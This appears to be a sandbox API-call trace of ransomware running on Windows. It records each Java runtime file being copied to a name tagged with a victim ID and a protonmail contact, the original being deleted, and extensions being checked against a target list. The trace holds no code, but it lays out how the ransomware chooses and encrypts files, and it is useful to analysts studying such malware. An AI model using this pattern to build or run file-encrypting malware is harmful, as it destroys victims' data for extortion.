	[0175.748] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0175.993] GetLastError () returned 0x0
	[0175.993] ReadFile (in: hFile=0x590, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x12588, lpOverlapped=0x0) returned 1
	[0176.002] WriteFile (in: hFile=0x588, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x12590, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x12590, lpOverlapped=0x0) returned 1
	[0176.004] ReadFile (in: hFile=0x590, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.004] WriteFile (in: hFile=0x588, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x104, lpOverlapped=0x0) returned 1
	[0176.004] SetEndOfFile (hFile=0x588) returned 1
	[0176.004] CloseHandle (hObject=0x588) returned 1
	[0176.004] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.004] SetEndOfFile (hFile=0x590) returned 1
	[0176.008] CloseHandle (hObject=0x590) returned 1
	[0176.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0176.008] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 1
	[0176.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0176.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0176.009] lstrlenW (lpString=".doc") returned 4
	[0176.009] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0176.009] lstrlenW (lpString=".docx") returned 5
	[0176.009] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0176.009] lstrlenW (lpString=".pdf") returned 4
	[0176.009] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0176.009] lstrlenW (lpString=".xls") returned 4
	[0176.009] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0176.009] lstrlenW (lpString=".xlsx") returned 5
	[0176.009] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0176.009] lstrlenW (lpString=".ppt") returned 4
	[0176.009] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0176.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0176.009] lstrlenW (lpString=".zip") returned 4
	[0176.009] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0176.009] lstrlenW (lpString=".rar") returned 4
	[0176.009] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0176.009] lstrlenW (lpString=".bz2") returned 4
	[0176.009] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0176.009] lstrlenW (lpString=".7z") returned 3
	[0176.009] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0176.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0176.009] lstrlenW (lpString=".dbf") returned 4
	[0176.009] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0176.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0176.009] lstrlenW (lpString=".1cd") returned 4
	[0176.009] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0176.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0176.009] lstrlenW (lpString=".jpg") returned 4
	[0176.010] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0176.010] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0176.010] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0176.010] lstrlenW (lpString=".doc") returned 4
	[0176.010] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0176.010] lstrlenW (lpString=".docx") returned 5
	[0176.010] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0176.010] lstrlenW (lpString=".pdf") returned 4
	[0176.010] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0176.010] lstrlenW (lpString=".xls") returned 4
	[0176.010] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0176.011] lstrlenW (lpString=".xlsx") returned 5
	[0176.011] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0176.011] lstrlenW (lpString=".ppt") returned 4
	[0176.011] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0176.011] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0176.011] lstrlenW (lpString=".zip") returned 4
	[0176.011] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0176.011] lstrlenW (lpString=".rar") returned 4
	[0176.011] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0176.011] lstrlenW (lpString=".bz2") returned 4
	[0176.011] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0176.011] lstrlenW (lpString=".7z") returned 3
	[0176.011] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0176.011] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0176.011] lstrlenW (lpString=".dbf") returned 4
	[0176.011] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0176.011] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0176.011] lstrlenW (lpString=".1cd") returned 4
	[0176.011] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0176.011] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0176.011] lstrlenW (lpString=".jpg") returned 4
	[0176.012] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0176.012] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0176.012] lstrlenW (lpString="LucidaBrightItalic.ttf") returned 22
	[0176.012] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0176.012] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=80856) returned 1
	[0176.013] CloseHandle (hObject=0x590) returned 1
	[0176.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 0x20
	[0176.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0176.013] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0176.013] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.014] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.014] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0176.053] GetLastError () returned 0x0
	[0176.053] ReadFile (in: hFile=0x590, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x13bd8, lpOverlapped=0x0) returned 1
	[0176.058] WriteFile (in: hFile=0x5b8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x13be0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x13be0, lpOverlapped=0x0) returned 1
	[0176.060] ReadFile (in: hFile=0x590, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.060] WriteFile (in: hFile=0x5b8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x100, lpOverlapped=0x0) returned 1
	[0176.060] SetEndOfFile (hFile=0x5b8) returned 1
	[0176.060] CloseHandle (hObject=0x5b8) returned 1
	[0176.060] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.060] SetEndOfFile (hFile=0x590) returned 1
	[0176.067] CloseHandle (hObject=0x590) returned 1
	[0176.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0176.366] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 1
	[0176.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0176.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0176.390] lstrlenW (lpString=".doc") returned 4
	[0176.390] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0176.390] lstrlenW (lpString=".docx") returned 5
	[0176.390] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1
	[0176.390] lstrlenW (lpString=".pdf") returned 4
	[0176.390] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0176.390] lstrlenW (lpString=".xls") returned 4
	[0176.390] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0176.390] lstrlenW (lpString=".xlsx") returned 5
	[0176.390] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1
	[0176.390] lstrlenW (lpString=".ppt") returned 4
	[0176.390] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0176.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0176.390] lstrlenW (lpString=".zip") returned 4
	[0176.390] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0176.390] lstrlenW (lpString=".rar") returned 4
	[0176.390] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0176.390] lstrlenW (lpString=".bz2") returned 4
	[0176.390] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0176.390] lstrlenW (lpString=".7z") returned 3
	[0176.390] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0176.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0176.390] lstrlenW (lpString=".dbf") returned 4
	[0176.391] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0176.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0176.391] lstrlenW (lpString=".1cd") returned 4
	[0176.391] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0176.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0176.391] lstrlenW (lpString=".jpg") returned 4
	[0176.391] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0176.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0176.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0176.391] lstrlenW (lpString=".doc") returned 4
	[0176.391] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0176.391] lstrlenW (lpString=".docx") returned 5
	[0176.391] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1
	[0176.391] lstrlenW (lpString=".pdf") returned 4
	[0176.391] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0176.391] lstrlenW (lpString=".xls") returned 4
	[0176.391] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0176.391] lstrlenW (lpString=".xlsx") returned 5
	[0176.391] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1
	[0176.391] lstrlenW (lpString=".ppt") returned 4
	[0176.391] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0176.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0176.391] lstrlenW (lpString=".zip") returned 4
	[0176.391] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0176.391] lstrlenW (lpString=".rar") returned 4
	[0176.391] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0176.391] lstrlenW (lpString=".bz2") returned 4
	[0176.391] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0176.391] lstrlenW (lpString=".7z") returned 3
	[0176.392] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0176.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0176.392] lstrlenW (lpString=".dbf") returned 4
	[0176.392] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0176.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0176.392] lstrlenW (lpString=".1cd") returned 4
	[0176.392] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0176.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0176.392] lstrlenW (lpString=".jpg") returned 4
	[0176.392] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0176.392] lstrcmpiW (lpString1=".properties", lpString2=".html") returned 1
	[0176.392] lstrlenW (lpString="hijrah-config-umalqura.properties") returned 33
	[0176.392] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0176.393] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=13962) returned 1
	[0176.393] CloseHandle (hObject=0x554) returned 1
	[0176.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 0x20
	[0176.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0176.393] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0176.393] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.393] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.393] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0176.394] GetLastError () returned 0x0
	[0176.394] ReadFile (in: hFile=0x554, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x368a, lpOverlapped=0x0) returned 1
	[0176.437] WriteFile (in: hFile=0x5b4, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x3690, lpOverlapped=0x0) returned 1
	[0176.438] ReadFile (in: hFile=0x554, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.439] WriteFile (in: hFile=0x5b4, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x116, lpOverlapped=0x0) returned 1
	[0176.439] SetEndOfFile (hFile=0x5b4) returned 1
	[0176.580] CloseHandle (hObject=0x5b4) returned 1
	[0176.601] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.601] SetEndOfFile (hFile=0x554) returned 1
	[0176.868] CloseHandle (hObject=0x554) returned 1
	[0176.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0177.169] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 1
	[0177.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0177.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0177.458] lstrlenW (lpString=".doc") returned 4
	[0177.458] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0177.458] lstrlenW (lpString=".docx") returned 5
	[0177.458] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0177.458] lstrlenW (lpString=".pdf") returned 4
	[0177.458] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0177.458] lstrlenW (lpString=".xls") returned 4
	[0177.458] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0177.458] lstrlenW (lpString=".xlsx") returned 5
	[0177.458] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0177.458] lstrlenW (lpString=".ppt") returned 4
	[0177.458] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0177.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0177.458] lstrlenW (lpString=".zip") returned 4
	[0177.459] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0177.459] lstrlenW (lpString=".rar") returned 4
	[0177.459] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0177.459] lstrlenW (lpString=".bz2") returned 4
	[0177.459] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0177.459] lstrlenW (lpString=".7z") returned 3
	[0177.459] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0177.459] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0177.459] lstrlenW (lpString=".dbf") returned 4
	[0177.459] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0177.459] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0177.459] lstrlenW (lpString=".1cd") returned 4
	[0177.459] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0177.459] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0177.459] lstrlenW (lpString=".jpg") returned 4
	[0177.459] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0177.459] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0177.459] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0177.459] lstrlenW (lpString=".doc") returned 4
	[0177.459] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0177.459] lstrlenW (lpString=".docx") returned 5
	[0177.459] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0177.459] lstrlenW (lpString=".pdf") returned 4
	[0177.459] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0177.459] lstrlenW (lpString=".xls") returned 4
	[0177.459] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0177.459] lstrlenW (lpString=".xlsx") returned 5
	[0177.459] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0177.459] lstrlenW (lpString=".ppt") returned 4
	[0177.459] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0177.459] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0177.460] lstrlenW (lpString=".zip") returned 4
	[0177.460] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0177.460] lstrlenW (lpString=".rar") returned 4
	[0177.460] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0177.460] lstrlenW (lpString=".bz2") returned 4
	[0177.460] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0177.460] lstrlenW (lpString=".7z") returned 3
	[0177.460] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0177.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0177.460] lstrlenW (lpString=".dbf") returned 4
	[0177.460] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0177.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0177.460] lstrlenW (lpString=".1cd") returned 4
	[0177.460] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0177.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0177.460] lstrlenW (lpString=".jpg") returned 4
	[0177.460] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0177.460] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0177.460] lstrlenW (lpString="jce.jar") returned 7
	[0177.460] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.461] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=116446) returned 1
	[0177.461] CloseHandle (hObject=0x4a8) returned 1
	[0177.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 0x20
	[0177.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.462] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.462] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.462] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
